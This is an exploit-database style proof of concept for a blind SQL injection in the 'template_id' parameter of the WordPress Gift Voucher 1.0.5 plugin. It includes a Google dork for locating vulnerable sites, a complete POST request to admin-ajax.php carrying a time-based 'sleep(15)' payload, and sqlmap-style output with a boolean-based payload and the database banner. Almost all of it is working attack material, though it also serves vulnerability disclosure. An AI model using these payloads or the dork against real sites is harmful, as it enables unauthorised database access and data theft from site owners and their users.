WordPress Gift Voucher 1.0.5 SQL Injection

`# Exploit Title: WordPress Plugin Gift Voucher 1.0.5 - 'template_id' SQL Injection  
# Google Dork: intext:"/wp-content/plugins/gift-voucher/"  
# Date: 2018-08-23  
# Exploit Author: Renos Nikolaou  
# Software Link: https://wordpress.org/plugins/gift-voucher/  
# Vendor Homepage: http://www.codemenschen.at/  
# Version: 1.0.5  
# Tested on: Windows 10  
# CVE: N/A  
# Description : The vulnerability allows an attacker to inject sql commands   
# on 'template_id' parameter.  
  
# PoC - Blind SQLi :  
  
POST /wp-admin/admin-ajax.php HTTP/1.1  
Host: domain.com  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded; charset=UTF-8  
X-Requested-With: XMLHttpRequest  
Referer: http://domain.com/gift-voucher/  
Content-Length: 62  
Cookie: PHPSESSID=efa4of1gq42g0nd9nmj8dska50; __stripe_mid=1f8c5bef-b440-4803-bdd5-f0d0ea22007e; __stripe_sid=de547b6b-fa31-46a1-972b-7b3324272a23  
Connection: close  
  
action=wpgv_doajax_front_template&template_id=1 and sleep(15)#  
  
Parameter: template_id (POST)  
Type: boolean-based blind  
Title: AND boolean-based blind - WHERE or HAVING clause  
Payload: action=wpgv_doajax_front_template&template_id=1 AND 4448=4448  
Vector: AND [INFERENCE]  
---  
web application technology: Apache  
back-end DBMS: MySQL >= 5.0.0  
banner: '5.5.59'  
  
`